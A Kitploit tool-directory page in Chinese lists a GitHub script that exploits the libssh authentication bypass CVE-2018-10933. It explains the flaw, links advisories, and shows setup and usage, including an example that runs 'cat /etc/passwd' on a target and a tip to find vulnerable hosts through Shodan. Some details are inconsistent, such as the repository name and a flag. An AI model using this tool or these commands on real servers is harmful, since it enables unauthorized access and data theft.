Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-10933 — libSSH-Authentication-Bypass | Kitploit
工具/GitHubGitHub/rubikcuv5/cve-2018-10933
身份验证与授权漏洞分析漏洞利用信息收集网络安全渗透测试
GitHubrubikcuv5/cve-2018-10933

CVE-2018-10933

libSSH-Authentication-Bypass

查看仓库
124年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-10933


在libssh的服务器端状态机中(版本0.7.6和0.8.4之前)发现了一个漏洞。 恶意客户端可以在未首先进行身份验证的情况下创建通道,从而导致未授权访问。

一些细节

该问题源于libssh在认证过程中不维护状态,以及这种状态缺失如何被用来绕过认证。简而言之,将连接视为一个多步骤过程:步骤1、步骤2、步骤3……由于libssh不强制执行步骤的顺序,你基本上可以直接跳到步骤3,而不经过步骤1和步骤2。

有趣的是,之前在SSH库Paramiko中也发现了同样的问题:CVE-2018-7750。

文档

Exploit-DB : https://www.exploit-db.com/exploits/45638

关于CVE-2018-10933的libSSH信息 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt

libSSH的漏洞修复版本 : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/

设置

root@kitploit:~
sudo apt-get install python3

gh repo clone EmmanuelCruzL/CVE-2018-10933

pip3 install -r requirements.txt

python3 main.py

用法

root@kitploit:~
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host

Script for the vulnerabilities CVE-2018-10933

positional arguments:
  host                  the ip or domain address of ssh server

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  The port the service ssh, default [22]
  -log, --logfile       Logfile to write conn logs
  -t, --test            check the version of libSSH
  -c COMMAND, --command COMMAND
                        command to execute
  -i, --interactive     open the interactive mode
   

示例POC

示例(检查主机是否易受攻击)

root@kitploit:~
python3 main.py  0.0.0.0 -port 22  -t

示例(通过参数发送命令)

root@kitploit:~
python3 main.py  0.0.0.0 -p 22  -c "cat /etc/passwd"

示例(使用交互式简单控制台)

root@kitploit:~
python3 main.py  0.0.0.0 -p 22  -l

Shodan.io libSSH

root@kitploit:~
[!] 可以使用 shodan.io 查找易受攻击的设备 
-  ( 22 端口是默认的,其他端口如 (2222, 3333, 4444) 可能也包含 libSSH )

作者

  • Rubickcuv
下载工具